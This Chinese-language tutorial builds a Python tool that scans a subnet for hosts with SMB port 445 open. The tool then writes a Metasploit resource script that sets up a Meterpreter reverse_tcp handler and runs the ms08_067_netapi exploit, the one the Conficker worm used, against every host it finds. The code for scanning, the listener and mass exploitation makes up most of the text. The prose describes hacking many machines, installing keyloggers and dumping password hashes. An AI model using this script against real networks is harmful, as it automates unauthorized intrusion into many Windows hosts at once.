目錄
一、簡介
1.1、分析:
二、實現
2.1、掃描:
2.2、通信:
2.3、利用:
1.1、分析:
已經編寫了一個Metasploit 腳本, 用它黑掉了一台機器, 並獲得一個shell。但是在254台主機上重復這一過程可能會使我們在鍵入配置文件上花太多的時間, 再次使用Python, 就可以快速編寫一個能掃描出所有打開445 端口的主機,並自動生成一個去攻擊所有有漏洞主機的Metasploit腳本文件的Python腳本。
2.1、掃描:
與上一個端口掃描器例子中的Nmap-Python模塊類似。
findTgts()函數輸入的參數是一個要掃描的主機IP地址(段), 返回所有開放TCP 445端口的主機。TCP 445端口主要是作為SMB協議的默認端口用的。通過過濾, 只留下開放TCP 445端口的主機,攻擊腳本的目標就只有這些攻擊能夠起效的主機了。這一過濾操作同時也會把那些通常會阻塞我們的連接企圖的主機也消除掉。函數會逐一掃描所有的主機, 一旦發現某台機主打開了TCP (445)端口, 就會把該主機添加到一個數組中。完成掃描循環後,該函數會返回到這個含有所有打開了TCP 445端口的主機的數組。
import nmap def findTgts(subNet): nmScan = nmap.PortScanner() nmScan.scan(subNet, '445') tgtHosts = [] for host in nmScan.all_hosts(): if nmScan[host].has_tcp(445): state = nmScan[host]['tcp'][445]['state'] if state == 'open': print('[+] Found Target Host:' + host) tgtHosts.append(host) return tgtHosts
2.2、通信:
要為被我們黑掉的目標編寫一個監聽器
監聽器或稱命令與控制信道,使我們能在它被我們黑掉之後與目標主機進行遠程交互。Metasploit提供了一個被稱為Meterpreter的高級的動態負載。Metasploit的Meterpreter在遠程機器上運行後, 會主動連接我們的指揮控制主機, 並提供大量分析和控制肉機的函數。Meterpreter擴展工具包中還提供尋找取證對象、發布命令、通過肉機路由流量、安裝鍵盤記錄器或轉儲密碼hash的能力。
當Meterpreter進程回連接到攻擊者的計算機等候執行進一步的命令時, 我們要使用一個名為multi/handler的Metasploit模塊去發布命令。在我們的機器上設置multi/handler監聽器時, 首先需要把各條指令寫入Metasploit的re 腳本中。請留意上面是用什麼命令把載荷(PAYLOAD)設置為reverse_ tcp連接的, 然後又是用什麼命令設置本地主機IP地址和希望收到反向連接的端口的。此外, 我們還增設了一個全局變量DisablePayloadHandler, 作用是: 已經新建了一個監聽器, 此後所有的主機均不必重復新建監聽器。
def setupHandler(configFile, lhost, lport): configFile.write('use exploit/multi/handler\n') configFile.write('setPAYLOAD ' + 'windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') configFile.write('exploit -j -z\n') configFile.write('setg DisablePayloadHandler 1\n')
2.3、利用:
當腳本能夠在目標主機上執行漏洞利用代碼時, 該函數將向Metasploit re腳本中寫入用於生成漏洞利用代碼的目標主機、本地地址和端口。該函數還將把指定使用哪個漏洞利用代碼的指令也寫入re腳本的文件中
先去指定使用ms08_ 067 netapi這個漏洞利用代碼——這也是Conficker蠕蟲攻擊時使用的漏洞利用代碼, 同時還需要設定攻擊的目標——RHOST。還要設定Meterpreter的載荷以及Meterpreter所需的本機地址(LHOST)和端口(L PORT)
腳本發送了一條指令在同一個任務(job)的上下文環境中(-j),不與任務進行即時交互的條件下(-z) 利用對目標計算機上的漏洞。因為這個腳本會黑掉多台目標計算機, 根本不可能同時與這些被黑的計算機交互, 所以腳本中必須使用-j和-z參數。
def confickerExploit(configFile, tgtHost, lhost, lport): configFile.write('use exploit/windows/smb/ms08_067_netapi \n') configFile.write('set RHOST ' +str(tgtHost) +'\n') configFile.write('set PAYLOAD '+ 'windows/meterpreter/reverse_tcp\n') configFile. write ('set LPORT ' +str(lport) + '\n') configFile. write ('set LHOST ' +lhost +'\n') configFile. write ('exploit -j -z\n')